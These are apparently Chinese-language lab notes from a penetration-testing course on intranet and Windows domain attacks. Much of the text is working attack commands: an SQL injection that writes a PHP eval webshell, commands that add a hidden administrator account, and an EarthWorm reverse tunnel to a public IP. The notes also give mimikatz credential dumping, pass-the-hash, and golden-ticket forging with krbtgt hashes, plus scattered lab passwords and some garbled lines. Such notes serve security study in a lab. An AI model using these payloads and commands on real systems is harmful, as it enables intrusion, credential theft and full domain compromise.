1、重原理,轻测试
内网渗透的课程
1、主要是思路和操作为主
靶场作为切入点
SQL注入可以干什么?
获取数据、读取文件 影响数据库。
其实SQL注入是可以getshell写一句话木马
SQL语句:导出文件:
into out file
into dumpfile
如果有堆叠注入 [通过日志的方法写webshell]
http://192.168.136.129/?id=1.111 union select 1,0x3c3f706870206576616c28245f524551554553545b615d293f3e into dumpfile ‘C:/phpStudy1/PHPTutorial/WWW/123.php’
一台服务器搭建了两个网站
A网站是低权限运行的 webshell => 低权限 可以通过PHP往B网站写东西 写一个马
B网站是高权限运行的 webshell => 高权限了
很多时候渗透测试人员,在做渗透测试的时候,拿到了网站权限,会发现,网站的权限调用的CMD命令,其实并不是服务器管理权限,这个时候后就需要去想办法提升自己的权限,只有自己的权限够了,才可以更好的做内网测试。
提权的路线其实不止一个
不同服务组件用了不同权限。例如网站权限低,数据库权限高,那么我们就要想办法让其他组件帮我们去做事。再例如:目标及其上运行了一些其他的服务,然后这些服务只能从内部访问,然后我们也可以调用过来用。(例如:FTP|Redis等等)[这个需要一定的知识积累,早期不推荐]
有用的cmd命令:
whoami 查看当前用户权限
netstat -ano 查看本机开放的端口
tasklist 查看本机运行的程序[类似于任务管理器]
systeminfo 查看计算机信息
利用windows的漏洞(最常见手法)
查看windows打了什么补丁,然后去网上找存在什么样的漏洞,然后找对应的提权工具
widnows打了补丁什么漏洞我又不清楚,我怎么找?其实有前辈做了很好的东西 访问:提权辅助页面:http://bugs.hacking8.com/tiquan/
查看到补丁号填入,然后点击查询就可以,然后告诉你哪些漏洞可以用,直接去找这个微软编号的利用工具
net user nf 密码 /add
net localgroup administrators nf /add 提升管理员权限
3389登陆 一个公网ip内存在N多个机器
公网端口
端口转发、映射
内网端口 netstat -ano 看到的是内网端口
被攻击机器A 主动访问一台 公网B机器 是不是就可以建立连接了?
内网三台机器
A机器、B机器、C机器
A机器的3389放出来 可以直接连接
B机器、C机器都在我手上,但是他们没有外网
EarthWorm
ew_win32.exe
建立反向代理 ew -s rssocks -d 103.46.128.53 -e 15906 将自己反向连接到103.46.128.53的15906端口
接受代理 ew -s rcsocks -l 4545 -e 80 监听80端口, 将获取的数据转发到4545端口
目标机器 —> 路由器 -> 穿透工具提供的平台 -> 我
端口 - > 不是开了就可以构成连接。 【访问到】服务
7 ~+I|lu}3wuA31|vvl
12 c373bf48.IE
SQL注入可以干什么?
|- 获取数据、读取文件 影响数据库。
|- 其实SQL注入是可以getshell 写一句话木马
SQL语句:导出文件
|- into outfile
|- into dumpfile
本地搭建phpstudy测试
注意:前提是开启了dumpfile 和 Outfile 不然会报错、具体如何开启自行百度
本地明显导入了123
我们尝试导入一句话php测试“” 注意用引号
导入成功,用本地测试是否有用
1 | select 1,2,"<?php eval($_REQUEST[a]); ?>" into dumpfile 'C:\\phpStudy1\\PHPTutorial\\WWW\\15.php' |
利用内网穿透、ew、proxifier,Nmap端口扫描到192.168.0.4主机已经开启,进入发现存在安全狗老版的可以绕过
‘’
privilege::debug token::elevate lsadump::sam 从lsass.exe进程获取 privilege::debug sekurlsa::logonpasswords
1q2w3e4r.
o%JTey4$(D0y7<4RK
端口的转发 抓取密码
域渗透
很多漏洞都是为了管理员方便,都是为了偷懒而产生,所以体验感和安全永远在对立面,越方便,越危险!!!
内网里面有很多机器,例如:几百台,上千台电脑,但是计算机管理员仅仅只有几个人,如果他们想对所有电脑进行更新升级,是不是要累死?一台一台的操作过去,我估计得吐血
windows的开发也是考虑到了这个问题,所以windows中有一个域的功能。
域其实就是一些计算机所组成的。一歌电脑也能是一个域,一堆电脑也可以是一个域。
域中的机器并不平等,分为控制机和客户机,控制机的权限很大,可以操作域中任意机器,它被叫为域控制器,俗称域控(DC),拿下域控,就等于拿下所域里面所有的机器。对于黑客而言,拿下域控也是攻击的最终极目标
域比较复杂,分为单域、父域、子域、域树、域森林等概念 对于初期渗透测试人员而言,其实都差不多。
我们的目标是域控,那么我们肯定要对域有一定的了解,域作为windows的一个功能,我们为何不尝试自建一个域,来方便我们测试和学习?
域的搭建超级简单:
准备两台服务器,我是虚拟机开了两台2008r2 然后进行安装
服务器管理器 -> 添加角色 -> Active Directory 域服务安装
选中角色运行安装向导就行 -> 需要设置一个超级密码:这个地方设置尽量复杂
域搭建完成。
软件的开发,肯定要兼容性?
x86 32 系统 =>
x64 64 系统 => 发现所有的x86都不能用了
早期版本的域 会兼容 win2003 => windows 2008
密码:shou446515184
域:肯定和DNS有关 zkaq.cn 我这台机器知道zkaq.cn吗?
1、知道【通过查询DNS服务器得知】默认情况下DNS服务器在不特殊设定的时候,自动分配沿用运营商的
设置DNS服务器,把使用的DNS服务器设置为内网的DNS服务器
DNS:192.168.4.15
2、不知道
A1B2C3!.Qa
sekurlsa::logonpasswords
打补丁 KB2871997 再修改注册列表
你们注册了封神台、注册了社区。
你们觉得通过数据库是否能看出你们的密码是什么?
他们会加密MD5加密已经是Low
密码学的核心 => 密文不可逆
盐值 = salt (随机数)
md5(md5($password).$salt) 不安全的加密
通过多次加密混淆然后形成一堆密文
DESKTOP-T7GJSKA
域控:A1B2C3!.Nf
客户机: A1B2C3!.Qa
域控的账号密码可以登录任意的域中的电脑
200台客户机 1台主控机【域控的账号密码】
Kerberos - > KDC密钥分发中心 —> AS 检验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得拿本本地自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密
TGS-> 和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验
加密: 对称加密 【有一段密钥,谁拥有它就可以解码,加密】
明文传输密码是很危险的 【在中国移动,网站明文传输密码是高危漏洞】
AS -> AS会给你一串密文 -> 拿你的密码解 -> 64位的随机数 -> TGS的传输信息密钥
通信证-> 票据
windows官方有工具可以提权【必须是administrator权限】 psexec提权
域控管理员会用自己的域控账号登陆客户机,那么我们就可以抓取到域控的账号和密码。但是密码并不一定抓取到的都是明文,如果是Windows server 2012以上的版本或者是打了KB2871997补丁就会抓取不到明文密码,虽然有密文,但是密文是不可逆的,基本上不可能解开
那该怎么利用?
这里就有一种方法叫做,哈希传递(PTH)pass-the-hash
哈希传递这是什么?
前几天在渗透时遇到了一个问题,SQL注入获取的MD5值解不开
经过漫长的代码审计:发现设置Cookie的时候,他的Cookie是可以计算的,根据便宜混淆值+用户名和密码的MD5只,然后计算成一串Cookie。我们不需要知道密码,只要算出COOkie就可以成功登陆。
有同学会问,为啥不加密直接计算,而是计算密码的Md5只,因为数据库不存储密码,他不知道呀
在登陆其他用户的时候,也会这样去计算类似的情况,所以你用哈希值就可以去登陆同密码的服务器,然后因为这里是域控的账号密码,那么你可以直接用这个登陆域控
e5f999da18a5ab80bc15ecfc84aca7d9
sekurlsa::pth /user:administrator /domain:”gylq.cn” /ntlm:
sekurlsa::pth /user:administrator /domain:”gylq.cn” /ntlm:285deb0940e1630b59d2cd9590fcbc91
域控名字:WIN-NQ8TV3JGSN1.gylq.cn
域渗透中其实有金银票据,一个是黄金票据,一个是白银票据。一个用的是域控用户账号,一个用的是krbtgt账户金票权限是最大的,我们主讲黄金票据。
krbtgt账户其实就是那个KDC密钥分发中心用超管密码,我们拿着那个票据,去访问客户机,客户机会认为们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问,一般管理员会修改域控机密码,但是很少有管理员修改krbtgt的密码。那我们看看怎么伪造这个黄金票据。
mimikatz_trunk票据获取工具
log -> 记录
lsadump::dcsync /user:krbtgt 获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息]
提取出里面的sid和hashNTLM 注意:这里的SID是不包含-502的,千万别把-502写进去
kerberos::golden /admin:administrator /domain:gylq.cn /sid:S-1-5-21-204603982-2387576990-164658498 /krbtgt:7fdd8ee73326c3a028bff7e196883142 /ticket:administrator.kiribi [制作票据]
kerberos::ptt administrator.kiribi [加载票据]
然后打开cmd试试看票据是否有用,可以访问域控吗? 提取东西在域控,伪造在客户机
SID : S-1-5-21-204603982-2387576990-164658498-502
Hash NTLM: 7fdd8ee73326c3a028bff7e196883142
Object Security ID : S-1-5-21-204603982-2387576990-164658498-502
Hash NTLM: 7fdd8ee73326c3a028bff7e196883142
kerberos::golden /admin:administrator /domain:gylq.cn /sid:S-1-5-21-204603982-2387576990-164658498 /krbtgt:7fdd8ee73326c3a028bff7e196883142 /ticket:administrator.kiribi
kerberos::ptt administrator.kiribi